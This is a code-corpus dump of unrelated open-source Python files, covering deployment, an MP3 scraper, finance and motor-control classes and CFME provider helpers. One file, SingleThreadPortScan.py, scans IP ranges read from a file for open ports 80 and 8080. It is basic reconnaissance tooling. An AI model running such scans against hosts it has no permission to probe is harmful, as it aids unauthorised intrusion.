from fabric.context_managers import prefix
env.directory = '/home/pestileaks/pestileaks'
env.activate = 'source /home/pestileaks/env/bin/activate'
env.user = 'pestileaks'
env.hosts = ['pestileaks.nl']
env.restart = 'killall -HUP gunicorn'
#Show current status versus current github master state
def status():
with cd(env.directory):
run('git status')
def deploy():
with cd(env.directory):
run("git pull")
#run("rm -rf /home/pestileaks/run/static")
run("mkdir -p /home/pestileaks/run/static")
with prefix(env.activate):
run("if [ doc/requirements.txt -nt doc/requirements.pyc ]; then pip install -r doc/requirements.txt; touch doc/requirements.pyc; fi")
run('./manage.py syncdb')
run('./manage.py migrate --noinput')
run('./manage.py collectstatic --noinput')
run(env.restart)
|
ivorbosloper/pestileaks
|
fabfile.py
|
Python
|
gpl-2.0
| 973
|
import urllib2
import os
import re
import time
print '---------------------------------------------------------------'
print 'Name: Luoo.net-Mp3 crawler '
print 'version: v1.0'
print 'author: ChenYao'
print 'data: 2013/9/4'
print 'Introductions: the music will Downloaded to path D:\\Luoo.net\\'
print '---------------------------------------------------------------'
headers = {'Referer':'http://www.luoo.net/'}
charInSongName = ['?', '!' , '\\' , '/' , '#' ,'%' , '*', '^' , '~']
sourUrl = 'http://www.luoo.net/radio/radio'
rawPath = "d:\\Luoo.net\\"
coverRaw = 'http://www.luoo.net/wp-content/uploads/'
htmlRaw = 'http://www.luoo.net/'
#sourUrl_296 = 'http://www.luoo.net/radio/radio296/mp3.xml'
#sourUrl_1 = 'http://www.luoo.net/radio/radio1/mp3player.xml'
#To do : file name
luoo = file('luoo.txt')
li = luoo.readlines()
# request mp3 jpg ...
def requestResource(sourcePath, url):
# file do not exist, download
if (os.path.isfile(sourcePath) == False):
timeStart = time.time()
req = urllib2.Request(
url = url,
headers = headers
)
try:
# catch the exception, example HTTP_404
response = urllib2.urlopen(req, timeout = 10)
except urllib2.URLError, e:
if hasattr(e, 'reason'):
print 'We failed to reach a server.'
print 'Reason: ', e.reason
elif hasattr(e, 'code'):
print 'The server couldn\'t fulfill the request.'
print 'Error code: ', e.code
else:
# write to the file
with open(sourcePath, "wb") as code:
code.write(response.read())
# print the download time
timeEnd = time.time()
spendTime = time.strftime('%M:%S',time.localtime(timeEnd - timeStart))
print '### Download Time: [%s]' % spendTime
# file exist
elif(os.path.isfile(sourcePath)):
# then check wether file is empty
if((os.path.getsize(sourcePath)) == 0L):
# Empyt, then reomove it and retry
os.remove(sourcePath)
requestResource(sourcePath, url)
# file exist and is not empty
else:
print "### file already exist!!! "
pass
# print the download detail infomation
def print_info(songName, fileNum):
print '### Downloading >>> [%s].'%fileNum + songName
# remove the special char in songName
def removeChar(songName):
for i in charInSongName:
songName = songName.replace(i,' ')
return songName
# start download
def download(start,end):
for x in range(start,end):
startTime = time.time()
if x < 296:
Url = sourUrl + str(x) +'/mp3player.xml'
else:
Url = sourUrl + str(x) +'/mp3.xml'
folderPath = rawPath + 'Luoo_' + str(x) + '\\'
#folderPath = rawPath + li[x-2].rstrip() + '\\'
# new a fold in path
if os.path.isdir(folderPath):
pass
else:
os.mkdir(folderPath)
# read the xml
lines = urllib2.urlopen(Url, timeout = 10 ).readlines()
# total songs
songs = len(lines) - 3
print '****************'
print 'Radio: radio' + str(x)
print 'Total: ' + str(songs) + ' songs'
print '****************'
print('----------------------------------')
# Download the cover
coverUrl = coverRaw + str(x) + '.jpg'
coverPath = folderPath + 'cover.jpg'
print '### Downlonding >>> Cover.jpg'
requestResource(coverPath,coverUrl)
# Download the HTML
htmlUrl = htmlRaw + str(x)
htmlPath = folderPath + 'VOL.' + str(x) + '.html'
print '### Downloading >>> HTML'
requestResource(htmlPath,htmlUrl)
print('----------------------------------')
print '------------------------------------------------------'
fileNum = 1
for line in lines[2:-1]:
line = line.strip()
a = re.findall(r'http.*.mp3',line)
if a == []:
continue
realUrl = str(a[0])
b = re.findall(r'(?<=title=").*(?="\s*/)',line)
if b == []:
continue
songName = str(b[0]).decode('utf-8')
songName = removeChar(songName)
print_info(songName,fileNum)
# Download mp3
musicUrl = realUrl
musicPath = folderPath + songName + ".mp3"
requestResource(musicPath,musicUrl)
fileNum += 1
print '------------------------------------------------------'
lines = []
endTime = time.time()
date = time.strftime('%Y/%m/%d %H:%M:%S',time.localtime(time.time()))
during = time.strftime('%M:%S',time.localtime(endTime - startTime))
print('----------------------------------')
print "### Total time: " , during
print "### Date: " , date
print('----------------------------------')
print('\n')
if __name__ == '__main__':
startNum = input('input the start number(start from 1): ')
endNum = input('input the end(end with the last Vol): ')
if(os.path.isdir(rawPath) == False):
os.mkdir(rawPath)
download(startNum,endNum)
|
flyaos/Luoo.net
|
luoo_Download.py
|
Python
|
gpl-2.0
| 5,357
|
from zope.interface import Interface
class IUWOshThemeLayer(Interface):
"""
Marker interface that defines a browser layer
"""
|
uwosh/uwosh.themebase
|
uwosh/themebase/browser/interfaces.py
|
Python
|
gpl-2.0
| 138
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from generator import Generator
import logging
class Phobia(Generator):
""" Define a phobia to be used in your game """
def __init__(self, redis, features={}):
Generator.__init__(self, redis, features)
self.logger = logging.getLogger(__name__)
# Double parse the template to fill in templated template values.
if not hasattr(self, 'text'):
self.text = self.render_template(self.template)
self.text = self.render_template(self.text)
self.text = self.text[0].capitalize() + self.text[1:]
def __str__(self):
return self.text
|
CityGenerator/Megacosm-Generator
|
megacosm/generators/phobia.py
|
Python
|
gpl-2.0
| 661
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Author: S.H.
Version: 0.1
Date: 2015-01-17
Description:
Scan ip:
74.125.131.0/24
74.125.131.99-125
74.125.131.201
Only three format above.
Read ip form a ip.txt, and scan all port(or a list port).
"""
import os
import io
import socket
fileOpen = open("ip.txt", 'r')
fileTemp = open("temp.txt", 'a')
for line in fileOpen.readlines():
if line.find("-") != -1:
list = line[:line.index("-")]
ip = [int(a) for a in list.split(".")]
b = int(line[line.index("-")+1:])
for i in range(ip[3], b+1):
fileTemp.write(str(ip[0])+"."+str(ip[1])+"."+str(ip[2])+"."+str(i)+"\n")
elif line.find("/") != -1:
list = line[:line.index("/")]
ip = [int(a) for a in list.split(".")]
for i in range(256):
fileTemp.write(str(ip[0])+"."+str(ip[1])+"."+str(ip[2])+"."+str(i)+"\n")
else:
fileTemp.write(line)
fileTemp.close()
fileOpen.close()
# print("process is here.")
f = open("temp.txt", 'r')
print("===Scan Staring===")
for line in f.readlines():
hostIP = socket.gethostbyname(line)
# print(hostIP)
# for port in range(65535):
portList = [80, 8080]
for port in portList:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((hostIP, port))
if result == 0:
print("Port {} is OPEN on:\t\t\t {}".format(port, hostIP))
else:
print("Port {} is NOT open on {}".format(port, hostIP))
sock.close()
f.close()
os.remove("temp.txt")
print("===Scan Complement===")
|
KyoHS/Python
|
SingleThreadPortScan.py
|
Python
|
gpl-2.0
| 1,536
|
#!/usr/bin/env python
# -*- coding: iso8859-1 -*-
#
# connections.py - network connections statistics
#
# Copyright (c) 2005-2007, Carlos Rodrigues <cefrodrigues@mail.telepac.pt>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License (version 2) as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
"""Statistics for all network connections currently known by the netfilter subsystem."""
import os
import rrdtool
from components.common import *
from templates.connections.index import index as ConnectionsPage
#
# The file where we get our data from.
#
DATA_SOURCE = "/proc/net/ip_conntrack"
class NetworkConnections(StatsComponent):
"""Network Connections Statistics."""
def __init__(self):
self.name = "connections"
if not os.path.exists(DATA_SOURCE):
fail(self.name, "maybe the kernel module 'ip_conntrack' isn't loaded.")
raise StatsException(DATA_SOURCE + " does not exist")
self.title = "Network Connections"
self.description = "tracked connections, by protocol"
self.data_dir = properties["data"] + "/" + self.name
self.database = self.data_dir + "/protocol.rrd"
self.graphs_dir = properties["output"] + "/" + self.name
if not os.path.exists(self.data_dir):
os.makedirs(self.data_dir)
if not os.path.exists(self.graphs_dir):
os.makedirs(self.graphs_dir)
if not os.path.exists(self.database):
#
# Remember: all "time" values are expressed in seconds.
#
refresh = properties["refresh"]
heartbeat = refresh * 2
rrdtool.create(self.database,
"--step", "%d" % refresh,
"DS:proto_tcp:GAUGE:%d:0:U" % heartbeat,
"DS:proto_udp:GAUGE:%d:0:U" % heartbeat,
"DS:proto_other:GAUGE:%d:0:U" % heartbeat,
"RRA:AVERAGE:0.5:1:%d" % (86400 / refresh), # 1 day of 'refresh' averages
"RRA:AVERAGE:0.5:%d:672" % (900 / refresh), # 7 days of 1/4 hour averages
"RRA:AVERAGE:0.5:%d:744" % (3600 / refresh), # 31 days of 1 hour averages
"RRA:AVERAGE:0.5:%d:730" % (43200 / refresh)) # 365 days of 1/2 day averages
def info(self):
"""Return some information about the component,
as a tuple: (name, title, description)"""
return (self.name, self.title, self.description)
def update(self):
"""Update the historical data."""
f = open(DATA_SOURCE, "r")
proto_tcp = 0
proto_udp = 0
proto_other = 0
for line in f:
data = line.split()
proto = data[0].lower()
if proto == "tcp":
proto_tcp += 1
elif proto == "udp":
proto_udp += 1
else:
proto_other += 1
f.close()
rrdtool.update(self.database,
"--template", "proto_tcp:proto_udp:proto_other",
"N:%d:%d:%d" % (proto_tcp, proto_udp, proto_other))
def make_graphs(self):
"""Generate the daily, weekly and monthly graphics."""
height = str(properties["height"])
width = str(properties["width"])
refresh = properties["refresh"]
background = properties["background"]
border = properties["border"]
for interval in ("1day", "1week", "1month", "1year"):
rrdtool.graph("%s/graph-%s.png" % (self.graphs_dir, interval),
"--start", "-%s" % interval,
"--end", "-%d" % refresh, # because the last data point is still *unknown*
"--title", "network connections (by protocol)",
"--lazy",
"--base", "1000",
"--height", height,
"--width", width,
"--lower-limit", "0",
"--upper-limit", "10.0",
"--imgformat", "PNG",
"--vertical-label", "connections",
"--color", "BACK%s" % background,
"--color", "SHADEA%s" % border,
"--color", "SHADEB%s" % border,
"DEF:proto_tcp=%s:proto_tcp:AVERAGE" % self.database,
"DEF:proto_udp=%s:proto_udp:AVERAGE" % self.database,
"DEF:proto_other=%s:proto_other:AVERAGE" % self.database,
"AREA:proto_tcp#a0df05:TCP ",
"GPRINT:proto_tcp:LAST:\\: %6.0lf conn (now)",
"GPRINT:proto_tcp:MAX:%6.0lf conn (max)",
"GPRINT:proto_tcp:AVERAGE:%6.0lf conn (avg)\\n",
"STACK:proto_udp#ffe100:UDP ",
"GPRINT:proto_udp:LAST:\\: %6.0lf conn (now)",
"GPRINT:proto_udp:MAX:%6.0lf conn (max)",
"GPRINT:proto_udp:AVERAGE:%6.0lf conn (avg)\\n",
"STACK:proto_other#dc3c14:Other",
"GPRINT:proto_other:LAST:\\: %6.0lf conn (now)",
"GPRINT:proto_other:MAX:%6.0lf conn (max)",
"GPRINT:proto_other:AVERAGE:%6.0lf conn (avg)")
def make_html(self):
"""Generate the HTML pages."""
template = ConnectionsPage()
template_fill(template, self.description)
template_write(template, self.graphs_dir + "/index.html")
# EOF - connections.py
|
carlosefr/quicklook
|
components/connections.py
|
Python
|
gpl-2.0
| 6,270
|
#!/usr/local/bin/python
# -*- coding: utf-8 -*-
import re
from datetime import datetime, date
from decimal import Decimal
from translations import _t, _a
from model import Model
from lib.query_builder import Query
from lib.money import Money
import payment
import membership
import package
import settings
class Installment(Model):
table = 'installments'
fields_for_save = ['year','month','membership_id','amount', 'status']
default_order = 'year ASC, month ASC'
def __init__(self, data = {}):
self._year = datetime.today().year
self.month = 0
self.membership_id = None
self._membership = None
self._amount = 0
self._payments = None
self._status = 'waiting'
self.ignore_recharge = False
self.ignore_second_recharge = False
Model.__init__(self, data)
@property
def year(self):
return self._year
@year.setter
def year(self, value):
try:
self._year = int(value)
except:
self._year = 0
def to_label(self):
return self.month_name() + " " + str(self.year)
@property
def amount(self):
return self._amount/100
@amount.setter
def amount(self,value):
try:
v = int(Decimal(value)*100)
except:
v = 0
self._amount = v
def description(self):
return self.membership.klass_or_package.name + ' ' + self.month_name() + ' ' + str(self.year)
def paid(self):
return sum(map(lambda p: p.amount, self.payments),0)
def is_paid(self):
return self._status != 'waiting'
def total(self, ignore_recharge = None, ignore_second_recharge = None):
if ignore_recharge is not None: self.ignore_recharge = ignore_recharge
if ignore_second_recharge is not None: self.ignore_second_recharge = ignore_second_recharge
return self.amount+self.get_recharge()
def get_recharge(self, after_day = None, recharge_value = None, second_recharge_value = None):
sets = settings.Settings.get_settings()
if after_day is None: after_day = sets.recharge_after
if recharge_value is None: recharge_value = sets.recharge_value
if second_recharge_value is None: second_recharge_value = sets.second_recharge_value
recharge = 0
sets = settings.Settings.get_settings()
today = self.__class__._today().date()
beginning_of_month = date(today.year, today.month, 1)
if self._status != 'paid':
rv = ''
if second_recharge_value != '' and self.date() < beginning_of_month and not self.ignore_second_recharge:
rv = second_recharge_value
elif recharge_value != '' and self.date(after_day) < today and not self.ignore_recharge:
rv = recharge_value
if rv != '':
if re.match('^\d+%$',rv):
recharge = self.amount*(int(rv[0:-1]))/100
elif re.match('^\d+$',rv):
recharge = int(rv)
return recharge
def date(self, after_day = None):
if after_day is None: after_day = settings.Settings.get_settings().recharge_after
return datetime.strptime(str(self.year)+"-"+str(self.month+1)+"-"+str(after_day),'%Y-%m-%d').date()
def detailed_total(self):
if self._status != 'paid_with_interests':
recharge = self.get_recharge()
recharge = '(+'+str(recharge)+')' if recharge > 0 else ''
else:
recharge = '(+'+str(self.paid() - self.amount)+')'
return '$'+str(self.amount)+recharge
def detailed_to_pay(self):
return '$'+str(self.to_pay())
def to_pay(self, ignore_recharge = None, ignore_second_recharge = None):
if ignore_recharge is not None: self.ignore_recharge = ignore_recharge
if ignore_second_recharge is not None: self.ignore_second_recharge = ignore_second_recharge
return self.total()-self.paid()
def month_name(self):
return _t('months')[self.month]
@property
def status(self):
return _a(self.cls_name(), self._status)
@status.setter
def status(self, value):
self._status = value
@property
def membership(self):
if self.membership_id and self._membership is None:
self._membership = membership.Membership.find(self.membership_id)
return self._membership
@membership.setter
def membership(self, value):
self.membership_id = None if value is None else value.id
self._membership = value
@property
def payments(self):
if self._payments is None: self._payments = payment.Payment.for_installment(self.id).do_get()
return self._payments
def to_db(self):
return {'year': self.year, 'month': self.month, 'membership_id': self.membership_id, 'amount': self.amount, 'status': self._status}
def _is_valid(self):
self.validate_numericallity_of('month', great_than_or_equal = 0, less_than_or_equal = 11)
self.validate_numericallity_of('amount', great_than_or_equal = 0, only_integer = False)
def add_payment(self, data = None):
if data is None: data = {}
if 'ignore_recharge' in data: self.ignore_recharge = data['ignore_recharge']
if 'amount' not in data: data['amount'] = self.to_pay()
amount = Money(data['amount'])
if amount <= self.to_pay():
data['installment_id'] = self.id
p = payment.Payment(data)
p.user = self.get_student()
if p.save():
self.update_status()
return p
else:
return p.full_errors()
else:
return "No se puede agregar un pago con mayor valor que el resto a pagar. Saldo: " + str(self.to_pay()) + ", Ingresado: " + str(amount)
def update_status(self):
self._status = 'waiting'
self._payments = None
if int(self.to_pay()) == 0:
if self.get_recharge() > 0 and self.ignore_recharge is False:
self._status = 'paid_with_interests'
else:
self._status = 'paid'
self.save()
def get_student_id(self):
s = self.get_student()
return s.id if s else None
def get_student(self):
return self.membership.student
def payments_details(self):
return "\n".join(map(lambda p: p.to_s(), self.payments))
def build_payment(self, data = {}):
p = payment.Payment(data)
p.installment = self
self.payments.append(p)
return p
@classmethod
def for_membership(cls,membership_id):
return cls.where('membership_id', membership_id)
def before_delete(self):
for p in self.payments:
p.description = p.description
p.installment = None
p.save(validate=False)
return True
@classmethod
def for_klass(cls, klass, q = None):
if q is None: q = Query(cls)
where = 'memberships.for_id = :klass_id AND memberships.for_type = "Klass"'
args = {'klass_id': klass.id}
packages = package.Package.with_klass(klass)
if packages.anything():
p_ids = ','.join(map(lambda p: str(p.id), packages))
where = '('+where+') OR (memberships.for_id IN ({0}) AND memberships.for_type = "Package")'.format(p_ids)
return q.set_join('LEFT JOIN memberships ON memberships.id = installments.membership_id').where(where,args)
@classmethod
def only_active_users(cls, q = None):
if q is None: q = Query(cls)
return q.set_join('LEFT JOIN memberships ON memberships.id = installments.membership_id LEFT JOIN users ON memberships.student_id = users.id').where('users.inactive = 0')
@classmethod
def overdues(cls, recharge_after = None, q = None):
if q is None: q = Query(cls)
today = cls._today()
if recharge_after is None: recharge_after = settings.Settings.get_settings().recharge_after
month = today.month-1
year = today.year
if today.day <= recharge_after: month = month-1
if month == -1:
month = 11
year = year-1
return q.where('status = "waiting" AND ((year = :year AND month <= :month) OR year < :year)', {'year': year, 'month': month})
@classmethod
def to_pay_for(cls,user):
today = cls._today()
w = 'status = "waiting" AND (memberships.student_id = :student_id OR users.family = :family)'
args = {'student_id': user.id, 'family': user.family}
return cls.where(w,args).set_join('LEFT JOIN memberships ON memberships.id = installments.membership_id LEFT JOIN users ON memberships.student_id = users.id').order_by('year ASC, month ASC')
@classmethod
def _today(cls):
return datetime.today()
|
arielj/danceinstitute
|
models/installment.py
|
Python
|
gpl-2.0
| 8,146
|
# -*-coding:Utf-8 -*
import Adafruit_BBIO.GPIO as GPIO
import Adafruit_BBIO.ADC as ADC
import Adafruit_BBIO.PWM as PWM
import time
from math import *
class Motor :
"""Classe définissant un moteur, caractérisé par :
- le rapport de cycle de son PWM
- la pin de son PWM
- son sens de rotation
- la pin de son sens de rotation
- la valeur de son potentiomètre
- la pin de son potentiomètre
- son angle actuel
- sa consigne angulaire
- son état (commandé par bouton ou asservi)"""
def __init__(self, nom, pinEnable, pinPwm, pinSens, pinPota, angleMin=-pi, angleMax=pi, potaMin=0.0, potaMax=1.0, consigneAngle=0.0, etat=0) :
"""Initialisation de l'instance de Motor"""
self.nom = nom
self.pinEnable = pinEnable
self.pwm = 0
self.pinPwm = pinPwm
self.sens = 0
self.pinSens = pinSens
self.pota = 0.0
self.pinPota = pinPota
self.angle = 0.0
self.consigneAngle = consigneAngle
self.etat = etat
self.sommeErreur = 0.0
# min et max des valeur du pota et correspondance en angle
self.angleMin = angleMin
self.angleMax = angleMax
self.potaMin = potaMin
self.potaMax = potaMax
def getEcart(self) :
"""Renvoie l'écart entre la consigne angulaire et l'angle actuel"""
return self.consigneAngle - self.angle
def getCommande(self) :
"""Renvoie une commande pour asservir le moteur en angle.
La commande est comprise entre -100.0 et +100.0"""
# A FAIRE : pour l'instant juste proportionnel
# coeficient proportionnel
ecartPourMax = pi/2
coefProportionnel = 1000/ecartPourMax
# coef integral
coefIntegral = 1
self.sommeErreur += self.getEcart()
if self.sommeErreur > 100 :
self.sommeErreur = 100
elif self.sommeErreur < -100 :
self.sommeErreur = -100
# calcul de la commande
commande = (self.getEcart())*coefProportionnel + self.sommeErreur*coefIntegral
# Traitement du dépassement des valeurs autorisée(-100..100)
if commande < -100 :
commande = -100
elif commande > 100 :
commande = 100
else :
commande = commande
return commande
def commander(self, commande) :
"""Commander ce moteur avec une commande.
Attention, si la pin de sens est activée, l'architecture du pont en H fait que le cycle du PWM est inversé. Il faut donc en tenir compte et inverser le rapport cyclique du PWM"""
if commande >= 0 :
GPIO.output(self.pinSens, GPIO.LOW)
PWM.set_duty_cycle(self.pinPwm, commande)
self.pwm = commande
self.sens = 0
else :
GPIO.output(self.pinSens, GPIO.HIGH)
PWM.set_duty_cycle(self.pinPwm, commande + 100)
self.pwm = -commande
self.sens = 1
def majPota(self) :
"""Récupère la valeur du pota"""
#print ADC.read(self.pinPota)
self.pota = ADC.read(self.pinPota)
# attendre 2 ms au minimum pour que l'ADC se fasse correctement
time.sleep(0.002)
def majAngle(self) :
"""Transforme la valeur du pota en un angle en fonction des caractéristiques du pota.
self.pota doit etre à jour !"""
self.angle = self.angleMin + (self.pota-self.potaMin)*(self.angleMax-self.angleMin)/(self.potaMax-self.potaMin)
|
7Robot/BeagleBone-Black
|
PROJETS/2013/FiveAxesArm/asserv/Motor.py
|
Python
|
gpl-2.0
| 3,370
|
""" Helper functions related to the creation, listing, filtering and destruction of providers
The list_providers function in this module depend on a (by default global) dict of filters.
If you are writing tests or fixtures, you want to depend on this function as a de facto gateway.
The rest of the functions, such as get_mgmt, get_crud, get_provider_keys etc ignore this global
dict and will provide you with whatever you ask for with no limitations.
The main clue to know what is limited by the filters and what isn't is the 'filters' parameter.
"""
import operator
import six
from collections import Mapping, OrderedDict
from copy import copy
from cfme.common.provider import all_types
from cfme.exceptions import UnknownProviderType
from utils import conf, version
from utils.log import logger
providers_data = conf.cfme_data.get("management_systems", {})
# Dict of active provider filters {name: ProviderFilter}
global_filters = {}
def load_setuptools_entrypoints():
""" Load modules from querying the specified setuptools entrypoint name."""
from pkg_resources import (iter_entry_points, DistributionNotFound,
VersionConflict)
for ep in iter_entry_points('manageiq_integration_tests'):
# is the plugin registered or blocked?
try:
ep.load()
except DistributionNotFound:
continue
except VersionConflict as e:
raise Exception(
"Plugin {} could not be loaded: {}!".format(ep.name, e))
class ProviderFilter(object):
""" Filter used to obtain only providers matching given requirements
Args:
keys: List of acceptable provider keys, all if `None`
categories: List of acceptable provider categories, all if `None`
types: List of acceptable provider types, all if `None`
required_fields: List of required fields, see :py:func:`providers_by_class`
restrict_version: Checks provider version in yamls if `True`
required_tags: List of tags that must be set in yamls
inverted: Inclusive if `False`, exclusive otherwise
conjunctive: If true, all subfilters are applied and all must match (default)
If false (disjunctive), at least one of the subfilters must match
"""
_version_operator_map = OrderedDict([('>=', operator.ge),
('<=', operator.le),
('==', operator.eq),
('!=', operator.ne),
('>', operator.gt),
('<', operator.lt)])
def __init__(self, keys=None, classes=None, required_fields=None, required_tags=None,
required_flags=None, restrict_version=False, inverted=False, conjunctive=True):
self.keys = keys
self.classes = classes
self.required_fields = required_fields
self.required_tags = required_tags
self.required_flags = required_flags
self.restrict_version = restrict_version
self.inverted = inverted
self.conjunctive = conjunctive
def _filter_keys(self, provider):
""" Filters by provider keys """
if self.keys is None:
return None
return provider.key in self.keys
def _filter_classes(self, provider):
""" Filters by provider (base) classes """
if self.classes is None:
return None
return any([provider.one_of(prov_class) for prov_class in self.classes])
def _filter_required_fields(self, provider):
""" Filters by required yaml fields (specified usually during test parametrization) """
if self.required_fields is None:
return None
for field_or_fields in self.required_fields:
if isinstance(field_or_fields, tuple):
field_ident, field_value = field_or_fields
else:
field_ident, field_value = field_or_fields, None
if isinstance(field_ident, six.string_types):
if field_ident not in provider.data:
return False
else:
if field_value:
if provider.data[field_ident] != field_value:
return False
else:
o = provider.data
try:
for field in field_ident:
o = o[field]
if field_value:
if o != field_value:
return False
except (IndexError, KeyError):
return False
return True
def _filter_required_tags(self, provider):
""" Filters by required yaml tags """
prov_tags = provider.data.get('tags', [])
if self.required_tags is None:
return None
if set(self.required_tags) & set(prov_tags):
return True
return False
def _filter_required_flags(self, provider):
""" Filters by required yaml flags """
if self.required_flags is None:
return None
if self.required_flags:
test_flags = [flag.strip() for flag in self.required_flags]
defined_flags = conf.cfme_data.get('test_flags', '')
if isinstance(defined_flags, six.string_types):
defined_flags = defined_flags.split(',')
defined_flags = [flag.strip() for flag in defined_flags]
excluded_flags = provider.data.get('excluded_test_flags', '')
if isinstance(excluded_flags, six.string_types):
excluded_flags = excluded_flags.split(',')
excluded_flags = [flag.strip() for flag in excluded_flags]
allowed_flags = set(defined_flags) - set(excluded_flags)
if set(test_flags) - allowed_flags:
logger.info("Filtering Provider %s out because it does not have the right flags, "
"%s does not contain %s",
provider.name, list(allowed_flags),
list(set(test_flags) - allowed_flags))
return False
return True
def _filter_restricted_version(self, provider):
""" Filters by yaml version restriction; not applied if SSH is not available """
if self.restrict_version:
# TODO
# get rid of this since_version hotfix by translating since_version
# to restricted_version; in addition, restricted_version should turn into
# "version_restrictions" and it should be a sequence of restrictions with operators
# so that we can create ranges like ">= 5.6" and "<= 5.8"
version_restrictions = []
since_version = provider.data.get('since_version')
if since_version:
version_restrictions.append('>= {}'.format(since_version))
restricted_version = provider.data.get('restricted_version')
if restricted_version:
version_restrictions.append(restricted_version)
for restriction in version_restrictions:
for op, comparator in ProviderFilter._version_operator_map.items():
# split string by op; if the split works, version won't be empty
head, op, ver = restriction.partition(op)
if not ver: # This means that the operator was not found
continue
try:
curr_ver = version.current_version()
except:
return True
if not comparator(curr_ver, ver):
return False
break
else:
raise Exception('Operator not found in {}'.format(restriction))
return None
def __call__(self, provider):
""" Applies this filter on a given provider
Usage:
pf = ProviderFilter('cloud_infra', categories=['cloud', 'infra'])
providers = list_providers([pf])
pf2 = ProviderFilter(
classes=[GCEProvider, EC2Provider], required_fields=['small_template'])
provider_keys = [prov.key for prov in list_providers([pf, pf2])]
^ this will list keys of all GCE and EC2 providers
...or...
pf = ProviderFilter(required_tags=['openstack', 'complete'])
pf_inverted = ProviderFilter(required_tags=['disabled'], inverted=True)
providers = list_providers([pf, pf_inverted])
^ this will return providers that have both the "openstack" and "complete" tags set
and at the same time don't have the "disabled" tag
...or...
pf = ProviderFilter(keys=['rhevm34'], class=CloudProvider, conjunctive=False)
providers = list_providers([pf])
^ this will list all providers that either have the 'rhevm34' key or are an instance
of the CloudProvider class and therefore are a cloud provider
Returns:
`True` if provider passed all checks and was not filtered out, `False` otherwise.
The result is opposite if the 'inverted' attribute is set to `True`.
"""
keys_l = self._filter_keys(provider)
classes_l = self._filter_classes(provider)
fields_l = self._filter_required_fields(provider)
tags_l = self._filter_required_tags(provider)
flags_l = self._filter_required_flags(provider)
version_l = self._filter_restricted_version(provider)
results = [keys_l, classes_l, fields_l, tags_l, flags_l, version_l]
relevant_results = [res for res in results if res in [True, False]]
compiling_fn = all if self.conjunctive else any
# If all / any filters return true, the provider was not blocked (unless inverted)
if compiling_fn(relevant_results):
return not self.inverted
return self.inverted
def copy(self):
return copy(self)
# Only providers without the 'disabled' tag
global_filters['enabled_only'] = ProviderFilter(required_tags=['disabled'], inverted=True)
# Only providers relevant for current appliance version (requires SSH access when used)
global_filters['restrict_version'] = ProviderFilter(restrict_version=True)
def list_providers(filters=None, use_global_filters=True, appliance=None):
""" Lists provider crud objects, global filter optional
Args:
filters: List if :py:class:`ProviderFilter` or None
use_global_filters: Will apply global filters as well if `True`, will not otherwise
appliance: Optional :py:class:`utils.appliance.IPAppliance` to be passed to provider CRUD
objects
Note: Requires the framework to be pointed at an appliance to succeed.
Returns: List of provider crud objects.
"""
if isinstance(filters, six.string_types):
raise TypeError(
'You are probably using the old-style invocation of provider setup functions! '
'You need to change it appropriately.')
filters = filters or []
if use_global_filters:
filters = filters + global_filters.values()
providers = [get_crud(prov_key, appliance=appliance) for prov_key in providers_data]
for prov_filter in filters:
providers = filter(prov_filter, providers)
return providers
def list_providers_by_class(prov_class, use_global_filters=True, appliance=None):
""" Lists provider crud objects of a specific class (or its subclasses), global filter optional
Args:
prov_class: Provider class to apply for filtering
use_global_filters: See :py:func:`list_providers`
appliance: Optional :py:class:`utils.appliance.IPAppliance` to be passed to provider CRUD
objects
Note: Requires the framework to be pointed at an appliance to succeed.
Returns: List of provider crud objects.
"""
pf = ProviderFilter(classes=[prov_class])
return list_providers(filters=[pf], use_global_filters=use_global_filters, appliance=appliance)
def list_provider_keys(provider_type=None):
""" Lists provider keys from conf (yamls)
Args:
provider_type: Optional filtering by 'type' string (from yaml); disabled by default
Note: Doesn't require the framework to be pointed at an appliance to succeed.
Returns: List of provider keys (strings).
"""
try:
all_keys = conf.cfme_data.management_systems.keys()
except:
all_keys = []
if provider_type:
filtered_keys = []
for key in all_keys:
if conf.cfme_data.management_systems[key].type == provider_type:
filtered_keys.append(key)
return filtered_keys
else:
return all_keys
def get_class_from_type(prov_type):
try:
return all_types()[prov_type]
except KeyError:
raise UnknownProviderType("Unknown provider type: {}!".format(prov_type))
def get_crud(provider_key, appliance=None):
""" Creates a Provider object given a management_system key in cfme_data.
Usage:
get_crud('ec2east')
Returns: A Provider object that has methods that operate on CFME
"""
prov_config = providers_data[provider_key]
prov_type = prov_config.get('type')
return get_class_from_type(prov_type).from_config(
prov_config, provider_key, appliance=appliance)
def get_crud_by_name(provider_name, appliance=None):
""" Creates a Provider object given a management_system name in cfme_data.
Usage:
get_crud_by_name('My RHEV 3.6 Provider')
Returns: A Provider object that has methods that operate on CFME
"""
for provider_key, provider_data in providers_data.items():
if provider_data.get("name") == provider_name:
return get_crud(provider_key, appliance=appliance)
raise NameError("Could not find provider {}".format(provider_name))
def get_mgmt(provider_key, providers=None, credentials=None):
""" Provides a ``wrapanapi`` object, based on the request.
Args:
provider_key: The name of a provider, as supplied in the yaml configuration files.
You can also use the dictionary if you want to pass the provider data directly.
providers: A set of data in the same format as the ``management_systems`` section in the
configuration yamls. If ``None`` then the configuration is loaded from the default
locations. Expects a dict.
credentials: A set of credentials in the same format as the ``credentials`` yamls files.
If ``None`` then credentials are loaded from the default locations. Expects a dict.
Return: A provider instance of the appropriate ``wrapanapi.WrapanapiAPIBase``
subclass
"""
if providers is None:
providers = providers_data
# provider_key can also be provider_data for some reason
# TODO rename the parameter; might break things
if isinstance(provider_key, Mapping):
provider_data = provider_key
else:
provider_data = providers[provider_key]
if credentials is None:
# We need to handle the in-place credentials
if provider_data.get('endpoints'):
credentials = provider_data['endpoints']['default']['credentials']
else:
credentials = provider_data['credentials']
# If it is not a mapping, it most likely points to a credentials yaml (as by default)
if not isinstance(credentials, Mapping):
credentials = conf.credentials[credentials]
# Otherwise it is a mapping and therefore we consider it credentials
# Munge together provider dict and creds,
# Let the provider do whatever they need with them
